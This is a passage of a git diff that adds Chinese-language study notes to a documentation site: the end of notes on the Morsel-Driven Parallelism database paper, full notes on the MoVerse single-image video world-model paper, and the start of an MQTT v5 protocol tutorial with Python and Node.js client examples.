+**Morsel-driven（一口驱动）** 换了一种调度哲学：把活切成固定大小的一口（**morsel**，论文里典型约 **10 万行**），中央调度员（**dispatcher**）在**运行时**把下一口分给空闲工人。工人一次跑完**整条算子流水线**（直到 **pipeline breaker**），吃完一口再要下一口。忙的人可以去「偷」别的 NUMA 节点上的活（**work-stealing**），但调度员会**优先**把本节点上的 morsel 分给本节点上的线程。
+
+这篇 SIGMOD 2014 论文（Leis、Boncz、Kemper、Neumann，TUM + CWI）为 HyPer 主内存数据库设计了这套框架。TPC-H / SSB 上 32 核平均加速比 **30× 以上**，核心贡献不是某个 Join 算法，而是**并行调度架构**本身。
+
+---
+
+## 这篇论文在解决什么问题
+
+### 1. Plan-driven 并行在 many-core 上不再扩展
+
+传统 Volcano 式并行：优化器在**编译期**决定开多少线程，每个线程跑一份子计划，Exchange 算子负责路由。问题：
+
+| 痛点 | 原因 |
+|------|------|
+| **负载不均** | 中间结果大小难预测；现代乱序 CPU 上「等量工作」也不等于「等时完成」 |
+| **上下文切换** | 为调整并行度频繁建/杀线程成本高 |
+| **Exchange 分区开销** | 为隐藏并行而做的 on-the-fly 分区不一定划算 |
+
+### 2. NUMA：机器内部变成了「慢速网络」
+
+内存控制器下沉到各 CPU socket 后，访问**远端节点** RAM 的延迟和带宽都差于本地。若线程在 socket 0 上跑、数据在 socket 3，再强的算力也被内存拖垮。Plan-driven 的 Exchange 分区能部分缓解，但论文认为：**调度层直接 NUMA-aware 更灵活**。
+
+### 3. 主内存数据库让 CPU 成为真正瓶颈
+
+表全在内存里，查询不再 I/O bound，many-core 的算力必须被**细粒度、弹性**地用起来——这正是 morsel 粒度调度的动机。
+
+---
+
+## 核心概念
+
+### 1. Morsel（一口）
+
+输入表或中间结果被切成约 **100,000 行**（可配置，论文实验显示 >10,000 即可摊销调度开销）的固定大小片段。Morsel 的目的**不是**像 Vectorwise 那样保证 L1 缓存命中，而是：
+
+- 提供**抢占边界**（preemption at morsel boundaries）；
+- 支持 **work-stealing** 与负载均衡；
+- 让并行度在**单条查询执行过程中**可增可减（**elasticity**）。
+
+### 2. Pipeline 与 Pipeline Breaker
+
+查询被优化器拆成若干 **pipeline**（无中间物化的算子链）。例如三表 Join `R ⋈ S ⋈ T` 常见三条 pipeline：
+
+1. Scan/filter **T** → build `HT(T)`
+2. Scan/filter **S** → build `HT(S)`
+3. Scan/filter **R** → probe `HT(S)`、`HT(T)` → 输出
+
+**Pipeline breaker**：必须物化中间状态的地方（如 hash build 完成前不能 probe）。`QEPobject` 负责依赖：probe pipeline 要等两个 build 都结束才进入 dispatcher 待执行队列。
+
+### 3. Dispatcher（调度员）
+
+- 为每个**硬件线程**预创建并**绑定（pin）**一个 worker，不因查询增减线程；
+- **任务** = `(pipeline_job, morsel)`：在某一口数据上跑整条 pipeline 代码；
+- 实现为**无锁数据结构**，由**请求工作的 worker 自己执行**调度逻辑——没有单独的调度线程抢核；
+- 三个目标：**NUMA-local 分配**、**全弹性并行度**、**负载均衡**（同 pipeline 的 worker 在「photo finish」意义上最多差一个 morsel 的时间）。
+
+### 4. NUMA-local 物化
+
+Build 阶段常拆两相：
+
+1. **Phase 1**：各线程把过滤后的元组写入**本 socket 的 thread-local 存储区**（无锁）；
+2. **Phase 2**：各线程扫描**本 socket 存储区**，用 CAS 插入**全局 hash 表**（表本身 interleave 到各节点，避免热点 socket）。
+
+Probe 结果同样写入 NUMA-local 缓冲区，供后续算子继续本地扫描。
+
+### 5. 与 Volcano / 其他并行模型的对比
+
+| 维度 | Plan-driven Volcano | Morsel-driven |
+|------|---------------------|---------------|
+| 并行度决定时机 | 优化器编译期 | 运行时 dispatcher |
+| 算子是否感知并行 | 通常不感知（Exchange 封装） | 算子需支持 morsel-wise 各阶段 |
+| 共享状态 | 尽量避免，靠 Exchange 分区 | Hash 表等共享，靠 lock-free |
+| 抢占 | 难 | Morsel 边界自然抢占 |
+| 多查询资源分配 | 较僵硬 | 可在 morsel 边界把核让给高优先级查询 |
+
+### 6. 表布局：NUMA-aware 分区
+
+基表按 join key 的 hash **分散到各 NUMA 节点**（如 TPC-H 的 `orders` / `lineitem` 按 `orderkey`），使常见 join 的匹配元组倾向于同 socket。这是**性能提示**，不是硬隔离——work-stealing 仍可能跨 socket，但大多数扫描保持本地。
+
+---
+
+## 代码示例 1：极简 Morsel 调度循环（教学伪代码）
+
+下面用 Python 风格伪代码展示 dispatcher + worker 的核心循环，省略 NUMA 颜色与多 pipeline 依赖：
+
+```python
+MORSEL_SIZE = 100_000
+
+class Dispatcher:
+    def __init__(self, num_workers):
+        self.morsel_queues = {}  # socket_id -> deque of (job_id, morsel_range)
+        self.pending_jobs = []   # 满足依赖的 pipeline jobs
+        self.lock_free_steal = WorkStealingDeque()
+
+    def request_task(self, worker):
+        """Worker 在完成一口后调用；调度逻辑跑在 worker 核上。"""
+        socket = worker.socket_id
+        task = self._pop_local_morsel(socket)
+        if task is None:
+            task = self._steal_from_other_socket(worker)
+        return task  # (pipeline_fn, start_row, end_row) or None
+
+    def _pop_local_morsel(self, socket):
+        q = self.morsel_queues.get(socket)
+        if q and len(q) > 0:
+            return q.popleft()
+        return None
+
+    def _steal_from_other_socket(self, worker):
+        # 优先从拓扑上更近的 socket 偷活
+        for remote in worker.nearest_sockets():
+            if self.morsel_queues[remote]:
+                job, (lo, hi) = self.morsel_queues[remote].popleft()
+                return (job, lo, hi)
+        return None
+
+
+def worker_loop(worker, dispatcher, compiled_pipelines):
+    while True:
+        task = dispatcher.request_task(worker)
+        if task is None:
+            break  # 当前 query 的该 pipeline 已无 morsel
+        job_id, (start, end) = task
+        pipeline_fn = compiled_pipelines[job_id]
+        # 一口内跑完整条 pipeline（JIT 生成的机器码）
+        pipeline_fn(input_scan=start, input_end=end,
+                    local_output=worker.numa_local_buffer)
+        # morsel 边界：可在此检查 query 是否被取消、是否让出核给高优先级查询
+```
+
+要点：**并行度** = 同时有多少 worker 在各自 morsel 上跑同一 `pipeline_fn`，而不是计划里写死的 `DOP=16`。
+
+---
+
+## 代码示例 2：Lock-free Tagged Hash 插入（论文 Figure 7）
+
+Hash join build 第二阶段，多线程 CAS 插入带 **tag** 的指针，probe 时可先比 tag 再遍历链，减少 cache miss：
+
+```c
+// 简化自论文 Figure 7：16 bit tag + 48 bit pointer 打包在一个槽位
+typedef uint64_t HashSlot;
+
+static inline uint64_t tag_from_hash(uint64_t hash) {
+    return (hash >> 48) & 0xFFFF;  // 示意：取高位作 tag
+}
+
+void insert(HashSlot *hashTable, Entry *entry, int hashTableShift) {
+    uint64_t slot = entry->hash >> hashTableShift;
+    for (;;) {
+        HashSlot old = hashTable[slot];
+        entry->next = remove_tag(old);
+        uint64_t new_tag = tag_from_hash(entry->hash) | (old & TAG_MASK);
+        HashSlot new_val = pointer_to_slot(entry) | new_tag;
+        if (CAS(&hashTable[slot], old, new_val))
+            break;
+        // CAS 失败则重试（另一线程同时插入同槽）
+    }
+}
+```
+
+这与 Bloom filter 式 early rejection 类似，但 tag **嵌在指针里**，一次 CAS 同时更新链头与 filter 位，且无额外内存访问。
+
+---
+
+## 代码示例 3：Hash Join Build 两阶段（C++ 风格骨架）
+
+```cpp
+// Phase 1: 无同步，写入 thread-local / NUMA-local 缓冲区
+void build_phase1(Morsel m, LocalBuffer& buf, Predicate pred) {
+    for (row_id r = m.begin; r < m.end; ++r) {
+        if (pred(table[r]))
+            buf.append(table[r]);  // 仅 touch 本地 RAM
+    }
+}
+
+// Phase 2: 已知精确行数，一次分配完美大小 hash 表，再 CAS 插入
+void build_phase2(LocalBuffer& buf, GlobalHashTable& ht) {
+    ht.allocate_exact(buf.size());  // 无动态扩容
+    for (Tuple& t : buf)
+        ht.insert_lockfree(&t);
+}
+```
+
+Probe pipeline 对每个 R 的 morsel 调用 `probe(ht_s, ht_t)`，结果写入该 worker 的 NUMA-local 输出区——与 Figure 3、Figure 4 一致。
+
+---
+
+## 弹性调度：多查询共享固定线程池
+
+论文 Section 5.4 演示：长查询执行中插入短查询，dispatcher 可在 **morsel 边界**把大部分核重新分配给短查询；短查询结束后，长查询重新占满核。无需 OS 杀线程，也无需 plan 里预留 `DOP`。
+
+当前 HyPer 实现中查询**同优先级**时均分线程；优先级调度在论文发表时仍在开发中，但架构已支持。
+
+---
+
+## 实验结论（论文 Section 5 摘要）
+
+- **TPC-H** 全 22 条查询、**SSB**（星型模式基准）上绝对性能与扩展性均优；
+- **32 核**平均加速比 **>30×**（相对单线程）；
+- Morsel 大小在 10K–100K 区间对吞吐不敏感，主要影响调度频率与响应时间；
+- 与 radix join 等专用算法相比，单表 hash join 在复杂查询（多小维表 + 大事实表 probe）中更「好组队」，TPC-H 中 **97.4%** join 元组在 probe 侧。
+
+---
+
+## 与后续系统的关系
+
+| 系统 / 项目 | 关联 |
+|-------------|------|
+| **HyPer** / **Umbra** | 论文原始实现与商业延续 |
+| **DuckDB** | 向量化 + pipeline 并行，思想谱系相近 |
+| **Velox** | Meta 统一执行引擎，同样强调 pipeline 与并行算子 |
+| **MonetDB/X100、Vectorwise** | 向量传递；morsel 侧重调度而非 cache 行宽 |
+
+读 Velox 或 DuckDB 源码里的 `Task`、`Pipeline`、`PartitionedOutput` 时，可以对照本文的 **dispatcher / morsel / pipeline breaker** 三角关系。
+
+---
+
+## 零基础自检清单
+
+读完后应能回答：
+
+1. **Morsel 和 Vectorwise 的 vector 有何不同？** — Morsel 为调度与抢占服务，不强制 cache 对齐。
+2. **为何 hash build 要两阶段？** — Phase 1 无锁本地物化；Phase 2 已知基数可完美定长 hash 表。
+3. **Dispatcher 为何不是独立线程？** — 避免占核与锁竞争；worker 自取任务时执行无锁调度代码。
+4. **Work-stealing 何时触发？** — 本 socket morsel 耗尽时，从其他 socket 偷；远端访问仅用于负载均衡，非常态。
+5. **与 plan-driven 的本质区别？** — 并行度与任务划分在**运行时**决定，而非优化器写死在物理计划里。
+
+---
+
+## 执行模型一览
+
+```
+SQL → 优化器 → 物理计划
+                    ↓
+         按 Pipeline Breaker 切分 Pipeline
+                    ↓
+    每个 Pipeline 的输入表 → 划分为 Morsel（~10⁵ 行）
+                    ↓
+         Dispatcher 分配 (Pipeline, Morsel) 给 Worker
+                    ↓
+    Worker: 编译后的 pipeline 代码处理一口 → 直到 Breaker
+                    ↓
+         Breaker 完成 → 下一 Pipeline 进入待调度队列
+```
+
+---
+
+## 论文信息
+
+| 字段 | 内容 |
+|------|------|
+| 标题 | Morsel-Driven Parallelism: A NUMA-Aware Query Evaluation Framework for the Many-Core Age |
+| 作者 | Viktor Leis, Peter Boncz, Alfons Kemper, Thomas Neumann |
+| 会议 | SIGMOD 2014, Snowbird, UT |
+| 页码 | 743–754 |
+| DOI | [10.1145/2588555.2610507](https://doi.org/10.1145/2588555.2610507) |
+| PDF | [https://db.in.tum.de/~leis/papers/morsels.pdf](https://db.in.tum.de/~leis/papers/morsels.pdf) |
+| 系统 | HyPer（TUM 主内存 HTAP 数据库） |
+
+---
+
+## 延伸阅读
+
+- 论文原文：[Morsel-Driven Parallelism (PDF)](https://db.in.tum.de/~leis/papers/morsels.pdf)
+- HyPer 编译执行：[Efficiently Compiling Efficient Query Plans for Modern Hardware (VLDB 2011)](https://db.in.tum.de/~leis/papers/compilation.pdf)
+- CMU 15-721 调度专题讲义中的同一 PDF 导读
+- 对比阅读：Volcano/Graefe 模型、Exchange 算子、NUMA 架构基础（socket / local vs remote memory）
+
+---
+
+## 一句话总结
+
+**Morsel-driven parallelism** 把查询并行从「计划里写死多少线程」改成「运行时按一口口数据弹性分配固定 worker 池」，并让调度、物化与 hash 等共享结构都 **NUMA-aware**——这是 many-core 主内存时代查询引擎从「能并行」走向「并行度可扩展、可抢占、可混部多查询」的关键架构 shift。
diff --git a/src/content/docs/papers/moverse.md b/src/content/docs/papers/moverse.md
new file mode 100644
index 000000000..b9bf117e1
--- /dev/null
+++ b/src/content/docs/papers/moverse.md
@@ -0,0 +1,190 @@
+---
+title: MoVerse: Real-Time Video World Modeling with Panoramic Gaussian Scaffold
+来源: https://arxiv.org/abs/2606.13376
+日期: 2026-06-13
+分类: 机器学习
+子分类: 视频生成
+provenance: pipeline-v3
+---
+
+# MoVerse: 用全景高斯脚手架实现实时视频世界建模
+
+## 一、从日常类比开始
+
+想象你站在一个房间的中间，只能看到面前的这面墙——上面挂着一幅画、一盏灯、一扇窗。
+
+现在有人问你："请描述一下你身后和两侧是什么样子。"
+
+你答不上来，因为你没看过那些方向。这就是 MoVerse 这篇论文要解决的核心问题：**只给你一张普通照片，让 AI 脑补出整个 360 度的场景，并且让你能在其中自由走动。**
+
+更夸张的是，它还能生成你走动时的实时视频画面。
+
+## 二、这个问题为什么难？
+
+要理解 MoVerse 的贡献，先看看它面对的三个挑战：
+
+1. **视野缺失**：一张照片只能拍到前方一小块区域，左右、后方、头顶全黑
+2. **持久几何**：你不能走到一半，身后的房间消失了
+3. **连贯视频**：你移动时，看到的画面必须是流畅的视频，而不是一堆不相关的图片
+
+以前的方法要么能重建 3D 但不能生成逼真视频，要么能生成视频但没有真正的 3D 可控性。MoVerse 把这两者结合起来了。
+
+## 三、MoVerse 的三步架构
+
+MoVerse 的工作流程分为三个阶段，每一步解决一个子问题：
+
+### 第一步：拓扑感知扩散 —— 补全 360 度全景
+
+输入是一张普通照片，输出是一张 360 度全景图。
+
+这里的"拓扑感知"意思是：AI 在补全画面时，会理解物体的空间关系。比如照片里有张桌子，AI 不会在桌子后面画出一堵墙把它挡住，而是合理地延伸桌面和地板。
+
+```python
+# 伪代码：全景扩展阶段
+def expand_to_panorama(single_image):
+    # 1. 提取图像特征
+    features = encoder(single_image)
+
+    # 2. 使用拓扑感知扩散模型补全缺失视角
+    #    扩散过程会"逐步去噪"，从随机噪声生成合理画面
+    panorama = topology_aware_diffusion(
+        source_features=features,
+        missing_mask=compute_missing_regions(single_image),
+        topology_constraints=extract_topology(single_image)
+    )
+
+    # 3. 输出重力对齐的 360° 全景图
+    return gravity_align(panorama)
+```
+
+### 第二步：全景几何感知残差预测 —— 升维到 3D 高斯脚手架
+
+这一步是把 2D 全景图变成 3D 表示。MoVerse 使用的是 **3D Gaussian Splatting**（3D 高斯泼溅）技术。
+
+3D 高斯是什么？你可以把它想象成场景中的一颗颗"云朵"，每朵云有自己的位置、大小、形状、颜色和透明度。渲染时，把这些云投影到相机平面上，叠加起来就是一张逼真的图像。
+
+MoVerse 的创新在于：它不是从零开始训练这些高斯云，而是通过"残差预测"的方式，在全景图的基础上增量添加和调整高斯云。
+
+```python
+# 伪代码：3D 高斯脚手架构建
+def build_gaussian_scaffold(panorama):
+    # 1. 从全景图中预测初始高斯参数
+    initial_gaussians = geometry_encoder(panorama)
+
+    # 2. 几何感知残差预测：根据场景深度线索调整高斯
+    #    比如墙面应该是扁平的，物体应该有体积感
+    residual = geometry_aware_residual_predictor(
+        gaussians=initial_gaussians,
+        depth_maps=predict_depth_maps(panorama),
+        surface_normals=estimate_normals(panorama)
+    )
+
+    # 3. 合并得到最终的高斯脚手架
+    final_scaffold = initial_gaussians + residual
+
+    # 4. 输出可直接渲染的空间记忆
+    return PersistentGaussianScaffold(final_scaffold)
+```
+
+### 第三步：高斯条件化视频渲染器 —— 按你的移动轨迹生成视频
+
+有了 3D 高斯脚手架后，用户指定一条相机运动轨迹（比如向前走 5 米然后左转），渲染器就生成对应的视频帧。
+
+为了让这个过程足够快以支持实时交互，MoVerse 用了**知识蒸馏**：
+
+- **老师模型**：双向扩散模型，质量高但速度慢
+- **学生模型**：因果自回归模型，速度够快用于实时流
+
+老师教学生，学生继承了老师的渲染质量，但可以用更快的速度运行。
+
+```python
+# 伪代码：视频渲染阶段
+def render_video(scaffold, camera_trajectory):
+    # 1. 沿轨迹采样关键帧相机位姿
+    frames = []
+    for pose in sample_trajectory(camera_trajectory, num_frames=60):
+        # 2. 从高斯脚手架渲染基础视图
+        base_render = gaussian_rasterize(scaffold, pose)
+
+        # 3. 学生模型（因果自回归）生成高质量视频帧
+        #    因果意味着只看过去的帧，不偷看未来
+        video_frame = causal_student_renderer(
+            base_render=base_render,
+            previous_frames=frames[-3:],  # 依赖前3帧保持连贯
+            camera_pose=pose
+        )
+        frames.append(video_frame)
+
+    return concat_frames(frames)
+```
+
+## 四、关键技术概念详解
+
+### 4.1 3D Gaussian Splatting（3D 高斯泼溅）
+
+这是 MoVerse 的"空间记忆"载体。每个 3D 高斯由以下参数定义：
+
+- **位置** (x, y, z)：高斯云的中心点
+- **缩放** (scale_x, scale_y, scale_z)：高斯云的形状
+- **旋转** (quaternion)：高斯云的朝向
+- **不透明度** (opacity)：有多透明
+- **球谐函数系数** (SH coefficients)：决定颜色随视角的变化
+
+渲染时，将所有高斯投影到 2D 平面，按深度排序，然后从近到远累加颜色。这就是"Splatting"（泼溅）的由来。
+
+### 4.2 拓扑感知扩散（Topology-Aware Diffusion）
+
+扩散模型的基本思想是从纯噪声中逐步生成图像。MoVerse 的改进是加入"拓扑约束"：
+
+- 地面应该连续，不应该突然断裂
+- 物体的边缘应该平滑过渡
+- 透视关系应该一致
+
+这些约束确保补全出的全景图在物理上是合理的。
+
+### 4.3 知识蒸馏（Knowledge Distillation）
+
+| 特性 | 老师模型（双向扩散） | 学生模型（因果自回归） |
+|------|---------------------|------------------------|
+| 推理方向 | 前后向都可以 | 只能从前向后 |
+| 质量 | 更高 | 略低但接近 |
+| 速度 | 慢（需要多步迭代） | 快（单步或少数几步） |
+| 用途 | 训练阶段 | 实时推理阶段 |
+
+## 五、性能表现
+
+MoVerse 在单张 NVIDIA RTX 4090 GPU 上实现了 **8 FPS** 的实时场景漫游。
+
+这个数字怎么理解？
+
+- 传统 3D 重建 + 渲染管线通常需要离线计算数小时
+- 纯视频生成模型（如 Sora、Runway）无法做到交互式相机控制
+- 8 FPS 虽然不够流畅（正常视频是 30-60 FPS），但对于"交互式探索"来说已经可用——你移动相机，等不到半秒就能看到新画面
+
+## 六、MoVerse 的意义
+
+这篇论文的价值在于它打通了一条之前没人走过的路：
+
+1. **单图入，视频出**：不需要深度相机、激光雷达或多张照片，只要一张普通图片
+2. **3D 可控 + 视频质量**：既有 3D 表示的精确可控性，又有生成模型的逼真画质
+3. **实时交互**：8 FPS 意味着可以在消费级硬件上运行
+
+这为游戏开发、虚拟现实、机器人仿真等领域提供了一种新的场景创建方式。
+
+## 七、思考与局限
+
+MoVerse 目前还有一些局限性值得留意：
+
+- 8 FPS 对于流畅体验仍有差距，需要更强的硬件或更高效的算法
+- 单张输入的限制意味着补全的部分本质上是"猜测"，不一定反映真实场景
+- 复杂动态场景（如人群流动的水立方）可能超出当前静态 3D 高斯的表达能力
+
+## 八、总结
+
+MoVerse 的核心思路可以概括为一句话：**先用 AI 想象力补全全景，再把全景变成 3D 空间，最后在这个空间里按你的脚步生成视频。**
+
+它把世界建模（World Modeling）这件事，从"需要大量数据和专业设备"变成了"一张照片就够了"。
+
+---
+
+*本文基于 arXiv:2606.13376 撰写，作者：Yang Zhou, Ziheng Wang, Yuqin Lu, Haofeng Liu, Jun Liang, Shengfeng He, Jing Li。发表于 2026 年 6 月 11 日。*
diff --git a/src/content/docs/papers/mqtt-v5-spec.md b/src/content/docs/papers/mqtt-v5-spec.md
new file mode 100644
index 000000000..5a3616434
--- /dev/null
+++ b/src/content/docs/papers/mqtt-v5-spec.md
@@ -0,0 +1,312 @@
+---
+title: MQTT Version 5.0 — 物联网里的「小区广播站 + 信箱系统」
+来源: https://docs.oasis-open.org/mqtt/mqtt/v5.0/mqtt-v5.0.html
+日期: 2026-06-13
+子分类: 嵌入式与 IoT
+分类: 操作系统
+provenance: pipeline-v3
+---
+
+## 先想成什么事
+
+想象一栋公寓楼装了一套**小区广播站**：
+
+- 住户（**Client**）不用彼此认识，也**不用同时在线**。有人想说话，就对着某个**频道名**（**Topic**）喊一嗓子；订阅了这个频道的人（别的 Client）就会收到。
+- 楼里有一台**总机**（**Broker**），负责收消息、查订阅表、转发。住户不直接串门，一切都经过总机——这就是 **发布/订阅（Publish/Subscribe）**，不是点对点打电话。
+
+MQTT（Message Queuing Telemetry Transport）就是这套广播站的标准操作规程。OASIS 在 **2019 年 3 月** 发布 **MQTT Version 5.0**（编辑：Andrew Banks 等），在 **MQTT 3.1.1**（ISO/IEC 20922）之上做了大量增强，但**核心模型不变**：轻量、基于 TCP（或 WebSocket 等有序可靠连接）、适合带宽窄、设备弱的 **M2M / IoT** 场景。
+
+规范全文：[MQTT Version 5.0 | OASIS Standard](https://docs.oasis-open.org/mqtt/mqtt/v5.0/mqtt-v5.0.html)
+
+## 这篇规范在说什么
+
+| 维度 | 内容 |
+|------|------|
+| 发布方 | OASIS Message Queuing Telemetry Transport (MQTT) TC |
+| 版本 | MQTT v5.0（2019-03-07 OASIS Standard） |
+| 传输 | 默认 TCP/IP；亦可在 WebSocket 等有序、无损、双向连接上运行 |
+| 角色 | **Client**（发布者/订阅者）与 **Server/Broker**（消息中介） |
+| 与 v3.1.1 关系 | 协议级别字段 `Protocol Level = 5`；不兼容旧版 CONNECT，Broker 可回 `0x84 Unsupported Protocol Version` |
+| v5 设计目标 | 大规模可扩展、更好错误报告、能力发现、请求/响应模式、**User Properties** 扩展、小客户端性能优化 |
+
+一句话：**MQTT 规定的是「谁连上来、订什么题、发什么字、保证送到什么程度、断线后会怎样」**——不包含业务 payload 的语义，那是应用层的事。
+
+## 为什么值得学
+
+| 场景 | MQTT 提供的价值 |
+|------|-----------------|
+| 传感器上报 | 成千上万设备用几 KB 内存即可实现定时 publish |
+| 远程控制 | 手机 App 订阅 `home/living-room/light/set`，灯订阅同一 topic 收命令 |
+| 车联网 / 工业 | QoS 1/2 + 会话保持，弱网下仍可恢复订阅 |
+| 微服务间消息 | 与 Kafka 不同，MQTT 面向**终端设备 + 低功耗**，Broker 常部署在边缘 |
+| 从 v3.1.1 升级 | v5 的 Reason Code、Session Expiry、Topic Alias 直接影响 Broker 选型与排错 |
+
+若你学过 HTTP 或 WebSocket：**HTTP 是「我问你答」**；**MQTT 是「我贴公告栏，订阅的人自己来看」**——适合「产生数据的一方和消费数据的一方解耦」的拓扑。
+
+## 核心概念一：控制报文与连接生命周期
+
+MQTT 在 TCP 之上交换**二进制控制报文（Control Packet）**。常用类型：
+
+| 报文 | 方向 | 作用 |
+|------|------|------|
+| CONNECT / CONNACK | C→S / S→C | 建立连接、协商能力 |
+| PUBLISH | 双向 | 发布应用消息 |
+| SUBSCRIBE / SUBACK | C→S / S→C | 订阅一个或多个 Topic Filter |
+| UNSUBSCRIBE / UNSUBACK | C→S / S→C | 取消订阅 |
+| PINGREQ / PINGRESP | C↔S | 保活（Keep Alive） |
+| DISCONNECT | C→S | 优雅断开，可带 Reason Code 与 Session Expiry |
+| AUTH | 双向 | 增强认证（Challenge/Response） |
+
+连接建立流程（简化）：
+
+```
+Client                          Broker
+   | CONNECT (ClientID, Keep Alive, Properties)
+   |------------------------------------------>|
+   |                    CONNACK (Reason Code, Session Present, 能力标志)
+   |<------------------------------------------|
+   | SUBSCRIBE (filters + QoS)                 |
+   |------------------------------------------>|
+   | SUBACK (per-subscription Reason Codes)    |
+   |<------------------------------------------|
+   | PUBLISH (topic, payload, QoS, properties) |
+   |------------------------------------------>|
+   |        ... 转发给所有匹配的订阅者 ...      |
+```
+
+**Client Identifier** 在 Broker 上唯一标识会话；空 ClientID 仅允许 **Clean Start = 1** 的瞬时连接（规范约束）。
+
+## 核心概念二：Topic、通配符与 QoS
+
+**Topic Name** 是 UTF-8 字符串，用 `/` 分层，例如 `factory/line3/temperature`。  
+**Topic Filter** 用于订阅，除精确名外还支持：
+
+- `+`：单层通配（`home/+/temp` 匹配 `home/kitchen/temp`）
+- `#`：多层通配，且**只能出现在 filter 末尾**（`home/#`）
+
+**QoS（Quality of Service）** 决定传递保证：
+
+| QoS | 名称 | 行为 | 类比 |
+|-----|------|------|------|
+| 0 | 最多一次 | 发了就忘，可能丢 | 楼道里喊一嗓子 |
+| 1 | 至少一次 | PUBACK 确认，可能重复 | 挂号信 |
+| 2 | 恰好一次 | 四步握手 PUBREC/PUBREL/PUBCOMP | 银行转账回执 |
+
+v5 在 CONNACK 里用 **Maximum QoS** 等属性声明 Broker 能力；订阅时也可为每个 filter 单独指定 QoS（SUBSCRIBE payload 里每项一个）。
+
+## 核心概念三：v5 相对 v3.1.1 的关键变化
+
+### Clean Start 与 Session Expiry Interval
+
+v3.1.1 的 **Clean Session** 一个布尔值管两件事：是否复用旧会话、断线后会话何时销毁。  
+v5 拆成：
+
+- **Clean Start**（CONNECT 标志位）：`1` = 不复用旧会话，开新会话；`0` = 若 Broker 有该 ClientID 的会话则恢复。
+- **Session Expiry Interval**（属性，秒）：断线后 Broker **保留会话状态**（订阅、未发完的 QoS 1/2 消息等）多久。`0` = 断线即结束；`0xFFFFFFFF` = 永不过期。
+
+等价关系（规范附录 C）：**Clean Start=1 且 Session Expiry=0** ≈ v3.1.1 的 **Clean Session=1**。
+
+DISCONNECT 报文也可携带 **Session Expiry Interval**，在断开时**修改**保留时长——适合「临时下线但希望 Broker 继续替我收消息」。
+
+### Properties 与 User Properties
+
+v5 在 CONNECT、CONNACK、PUBLISH、SUBSCRIBE 等报文的 Variable Header 末尾增加 **Properties** 列表。每个 Property 由 **Identifier（变长整数）+ 类型化值** 组成。
+
+**User Property** 是键值对（UTF-8 字符串对），由**应用或实现自定义**：
+
+- PUBLISH 上的 User Property 随消息转发给订阅者（如设备序列号、时间戳、追踪 ID）。
+- CONNECT 上的 User Property 由 Server 实现定义语义。
+- CONNACK / SUBACK 等上的由发送方定义。
+
+协议**不解释** User Property 的含义——这是 v5 **可扩展** 的核心机制。
+
+### Reason Code
+
+v5 为 CONNACK、PUBACK、DISCONNECT、SUBACK 等引入 **Reason Code**（单字节）：
+
+- `< 0x80`：成功（通常 `0x00`）
+- `≥ 0x80`：失败（如 `0x84` 协议版本不支持、`0x87` 未授权、`0x91` Packet Identifier 占用中）
+
+排错时终于不必猜「Broker 为啥踢我」——CONNACK 里常有明确原因。
+
+### 其他重要 v5 特性（速览）
+
+| 特性 | 作用 |
+|------|------|
+| **Topic Alias** | 用 2 字节整数代替长 Topic 字符串，省带宽 |
+| **Message Expiry Interval** | 消息在 Broker 最长停留时间，过期则不下发 |
+| **Subscription Identifier** | 订阅时打标，PUBLISH 带回，便于客户端多路复用回调 |
+| **Shared Subscription** | `$share/{ShareName}/{TopicFilter}`，多客户端负载分担同一订阅 |
+| **Request / Response** | 通过 **Response Topic** + **Correlation Data** 属性实现类 RPC |
+| **Will Message** | CONNECT 时注册「遗嘱」，异常断线后 Broker 代发；v5 增加 **Will Delay Interval** |
+| **AUTH** | 支持多次往返的增强认证（如 SASL） |
+
+## 代码示例一：Python 发布者与订阅者（paho-mqtt）
+
+需安装 `paho-mqtt`（≥1.5 支持 v5 API）。本地可先起 Broker：`docker run -d -p 1883:1883 eclipse-mosquitto`。
+
+**订阅者** `subscriber.py`：
+
+```python
+import paho.mqtt.client as mqtt
+
+def on_connect(client, userdata, flags, reason_code, properties):
+    # v5: reason_code 为 ReasonCode 对象；flags.session_present 表示是否恢复会话
+    print(f"已连接, reason={reason_code}, session_present={flags.session_present}")
+    client.subscribe("demo/sensors/#", qos=1)
+
+def on_message(client, userdata, msg):
+    # msg.properties 为 MQTT v5 属性（含 User Property）
+    props = getattr(msg.properties, "UserProperty", None)
+    print(f"topic={msg.topic} payload={msg.payload!r} user_props={props}")
+
+client = mqtt.Client(
+    mqtt.CallbackAPIVersion.VERSION2,
+    client_id="study-sub-01",
+    protocol=mqtt.MQTTv5,
+)
+client.on_connect = on_connect
+client.on_message = on_message
+
+# Session Expiry: 断线后 Broker 保留订阅 60 秒
+connect_properties = mqtt.Properties(mqtt.PacketTypes.CONNECT)
+connect_properties.SessionExpiryInterval = 60
+
+client.connect("localhost", 1883, keepalive=30)
+client.loop_forever()
+```
+
+**发布者** `publisher.py`：
+
+```python
+import json
+import time
+import paho.mqtt.client as mqtt
+
+client = mqtt.Client(
+    mqtt.CallbackAPIVersion.VERSION2,
+    client_id="study-pub-01",
+    protocol=mqtt.MQTTv5,
+)
+client.connect("localhost", 1883)
+
+publish_props = mqtt.Properties(mqtt.PacketTypes.PUBLISH)
+publish_props.UserProperty = [("source", "pipeline-v3"), ("unit", "celsius")]
+publish_props.MessageExpiryInterval = 120  # 消息 120 秒内有效
+
+payload = json.dumps({"temp": 23.5, "ts": int(time.time())})
+client.publish(
+    "demo/sensors/room1",
+    payload,
+    qos=1,
+    properties=publish_props,
+)
+client.disconnect()
+```
+
+运行顺序：先 `python subscriber.py`，再 `python publisher.py`。观察订阅端是否收到 JSON 与 User Property。
+
+## 代码示例二：请求/响应模式（Response Topic）
+
+MQTT 原生是单向 publish，v5 用属性约定「回帖地址」：
+
+```
+Client A                          Broker                          Client B
+   | PUBLISH topic=cmd/req                                      |
+   |   Response Topic=cmd/res/42                                |
+   |   Correlation Data=0xdeadbeef                              |
+   |----------------------------------------------------------->|
+   |                              转发给订阅 cmd/req 的 B        |
+   |                              B 处理后 PUBLISH              |
+   |                              topic=cmd/res/42              |
+   |                              Correlation Data=0xdeadbeef   |
+   |<-----------------------------------------------------------|
+```
+
+Node.js（`mqtt` 包）片段：
+
+```javascript
+import mqtt from 'mqtt'
+
+const client = mqtt.connect('mqtt://localhost', { protocolVersion: 5 })
+
+client.on('connect', () => {
+  const correlation = Buffer.from('req-1001')
+  const responseTopic = 'demo/rpc/responses/alice'
+
+  client.subscribe(responseTopic)
+
+  client.publish(
+    'demo/rpc/requests',
+    JSON.stringify({ action: 'get_status' }),
+    {
+      properties: {
+        responseTopic,
+        correlationData: correlation,
+        userProperties: { schema: 'v1' },
+      },
+    },
+  )
+})
+
